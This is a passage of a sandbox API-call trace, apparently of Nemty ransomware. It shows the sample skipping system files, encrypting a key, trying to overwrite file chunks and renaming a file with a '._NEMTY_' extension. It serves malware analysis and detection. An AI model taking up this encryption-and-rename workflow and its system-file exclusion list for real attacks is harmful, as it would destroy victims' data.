[0104.388] lstrcmpiW (lpString1="DMR_120.jpg", lpString2="CONFIG.SYS") returned 1 [0104.388] lstrcmpiW (lpString1="DMR_120.jpg", lpString2="RECYCLER") returned -1 [0104.388] lstrcmpiW (lpString1="DMR_120.jpg", lpString2="BOOTSECT.BAK") returned 1 [0104.388] lstrcmpiW (lpString1="DMR_120.jpg", lpString2="bootmgr") returned 1 [0104.388] lstrcmpiW (lpString1="DMR_120.jpg", lpString2="programdata") returned -1 [0104.388] lstrcmpiW (lpString1="DMR_120.jpg", lpString2="appdata") returned 1 [0104.388] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0104.388] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DMR_120.jpg", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0104.388] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DMR_120.jpg", cchWideChar=11, lpMultiByteStr=0x653f250, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DMR_120.jpg", lpUsedDefaultChar=0x0) returned 11 [0104.388] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0104.388] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DMR_120.jpg", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0104.388] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DMR_120.jpg", cchWideChar=11, lpMultiByteStr=0x653f250, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DMR_120.jpg", lpUsedDefaultChar=0x0) returned 11 [0104.388] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0104.388] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0104.388] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0104.388] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DMR_120.jpg", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0104.388] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DMR_120.jpg", cchWideChar=11, lpMultiByteStr=0x653f2a0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DMR_120.jpg", lpUsedDefaultChar=0x0) returned 11 [0104.388] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0104.388] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0104.388] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DMR_120.jpg", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0104.388] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DMR_120.jpg", cchWideChar=11, lpMultiByteStr=0x653f2d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DMR_120.jpg", lpUsedDefaultChar=0x0) returned 11 [0104.388] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0104.389] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0104.389] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94248 | out: hHeap=0x4f90000) returned 1 [0104.389] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0104.389] Sleep (dwMilliseconds=0x5) [0104.393] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xf1deb630, dwHighDateTime=0x1d561e7)) [0104.393] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xf1deb630, dwHighDateTime=0x1d561e7)) [0104.393] GetLastError () returned 0x5 [0104.393] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0104.393] GetLastError () returned 0x5 [0104.393] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0104.393] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0104.393] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0104.393] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653efa0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653efa0*=0x100) returned 1 [0104.393] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x10, dwBufLen=0x100 | out: pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x100) returned 1 [0104.393] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ef9c | out: pszString=0x0, pcchString=0x653ef9c) returned 1 [0104.393] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x4f94248 [0104.393] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x4f94248, pcchString=0x653ef9c | out: pszString="UEOtAt2URHStWuWCSVPTY8wBagWxub1iIAzOUerDma6DgIbuei66Y+j8X9Vj/QlK\r\nu/eA/3OAc5r484pL3KFld3/md+wYlceskNpz7YRfN5bGGda/BbOAiaJW9zP5MIQR\r\nnMcXuiNFwijAdkF+LHR53Eb87V05hlsp9JRON3S5tKOZujld2r62wTb//WEGs60/\r\nRpVymVsDPOk9MJRQvyqgbeJpZDe1KphHZ0FuyN619f5lVjwSpbxS2oD22qHiJTl/\r\n8hgBC6/qk76/OgP8e3iIVoNLkmbYiakSwOLlD8vvq4HetyUJarzQiTQ/pe/eWyuA\r\n++aQ80mj0Do6BycrYE9lxg==\r\n", pcchString=0x653ef9c) returned 1 [0104.393] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0104.393] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94248 | out: hHeap=0x4f90000) returned 1 [0104.393] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0104.394] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0104.394] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x4f94248 [0104.394] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0104.394] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\Media Renderer\\DMR_120.jpg" (normalized: "c:\\program files\\windows media player\\media renderer\\dmr_120.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0104.394] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653f1f0 | out: lpFileSize=0x653f1f0*=18150282790957604) returned 0 [0104.394] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0104.394] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.394] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0104.403] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.403] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0104.403] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.403] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0104.413] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.413] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0104.413] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.413] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0104.422] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.422] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0104.422] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.422] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0104.431] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.431] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0104.431] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.431] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0104.441] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.441] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0104.441] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.441] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0104.450] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.450] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0104.450] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.450] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0104.459] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.459] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0104.459] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.459] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0104.469] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.469] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0104.469] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.469] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0104.478] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.478] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0104.478] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.478] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0104.487] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.487] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0104.488] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.488] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0104.494] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.494] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0104.494] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106062372, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.494] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0104.500] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106062372, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.500] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0104.500] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106164772, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.500] WriteFile (in: hFile=0xffffffff, lpBuffer=0x4f94248, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0104.500] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0104.500] CloseHandle (hObject=0xffffffff) returned 0 [0104.500] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0104.500] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0104.500] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0104.500] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0104.500] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0104.500] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0104.500] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0104.500] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0104.500] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0104.500] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0104.500] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Media Player\\Media Renderer\\DMR_120.jpg" (normalized: "c:\\program files\\windows media player\\media renderer\\dmr_120.jpg"), lpNewFileName="C:\\Program Files\\Windows Media Player\\Media Renderer\\DMR_120.jpg._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows media player\\media renderer\\dmr_120.jpg._nemty_kgobjgd_")) returned 0 [0104.500] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0104.500] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0104.500] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0104.500] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94248 | out: hHeap=0x4f90000) returned 1 [0104.500] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0104.500] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0104.500] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0104.500] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0104.501] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x828ce928, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x828ce928, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x898f4b97, ftLastWriteTime.dwHighDateTime=0x1c9ea0d, nFileSizeHigh=0x0, nFileSizeLow=0x3a1c, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="DMR_120.png", cAlternateFileName="")) returned 1 [0104.501] lstrcmpiW (lpString1="DMR_120.png", lpString2=".") returned 1 [0104.501] lstrcmpiW (lpString1="DMR_120.png", lpString2="..") returned 1 [0104.501] lstrcmpiW (lpString1="DMR_120.png", lpString2="...") returned 1 [0104.501] lstrcmpiW (lpString1="DMR_120.png", lpString2="windows") returned -1 [0104.501] lstrcmpiW (lpString1="DMR_120.png", lpString2="$RECYCLE.BIN") returned 1 [0104.501] lstrcmpiW (lpString1="DMR_120.png", lpString2="rsa") returned -1 [0104.501] lstrcmpiW (lpString1="DMR_120.png", lpString2="NTDETECT.COM") returned -1 [0104.501] lstrcmpiW (lpString1="DMR_120.png", lpString2="ntldr") returned -1 [0104.501] lstrcmpiW (lpString1="DMR_120.png", lpString2="MSDOS.SYS") returned -1 [0104.501] lstrcmpiW (lpString1="DMR_120.png", lpString2="IO.SYS") returned -1 [0104.501] lstrcmpiW (lpString1="DMR_120.png", lpString2="boot.ini") returned 1 [0104.501] lstrcmpiW (lpString1="DMR_120.png", lpString2="boot.ini") returned 1 [0104.501] lstrcmpiW (lpString1="DMR_120.png", lpString2="AUTOEXEC.BAT") returned 1 [0104.501] lstrcmpiW (lpString1="DMR_120.png", lpString2="ntuser.dat") returned -1 [0104.501] lstrcmpiW (lpString1="DMR_120.png", lpString2="desktop.ini") returned 1 [0104.501] lstrcmpiW (lpString1="DMR_120.png", lpString2="CONFIG.SYS") returned 1 [0104.501] lstrcmpiW (lpString1="DMR_120.png", lpString2="RECYCLER") returned -1 [0104.501] lstrcmpiW (lpString1="DMR_120.png", lpString2="BOOTSECT.BAK") returned 1 [0104.501] lstrcmpiW (lpString1="DMR_120.png", lpString2="bootmgr") returned 1 [0104.501] lstrcmpiW (lpString1="DMR_120.png", lpString2="programdata") returned -1 [0104.501] lstrcmpiW (lpString1="DMR_120.png", lpString2="appdata") returned 1 [0104.501] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0104.501] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DMR_120.png", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0104.501] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DMR_120.png", cchWideChar=11, lpMultiByteStr=0x653f250, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DMR_120.png", lpUsedDefaultChar=0x0) returned 11 [0104.501] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0104.501] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DMR_120.png", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0104.501] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DMR_120.png", cchWideChar=11, lpMultiByteStr=0x653f250, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DMR_120.png", lpUsedDefaultChar=0x0) returned 11 [0104.501] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0104.501] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0104.501] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0104.501] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DMR_120.png", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0104.501] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DMR_120.png", cchWideChar=11, lpMultiByteStr=0x653f2a0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DMR_120.png", lpUsedDefaultChar=0x0) returned 11 [0104.501] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0104.502] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0104.502] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DMR_120.png", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0104.502] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DMR_120.png", cchWideChar=11, lpMultiByteStr=0x653f2d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DMR_120.png", lpUsedDefaultChar=0x0) returned 11 [0104.502] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, 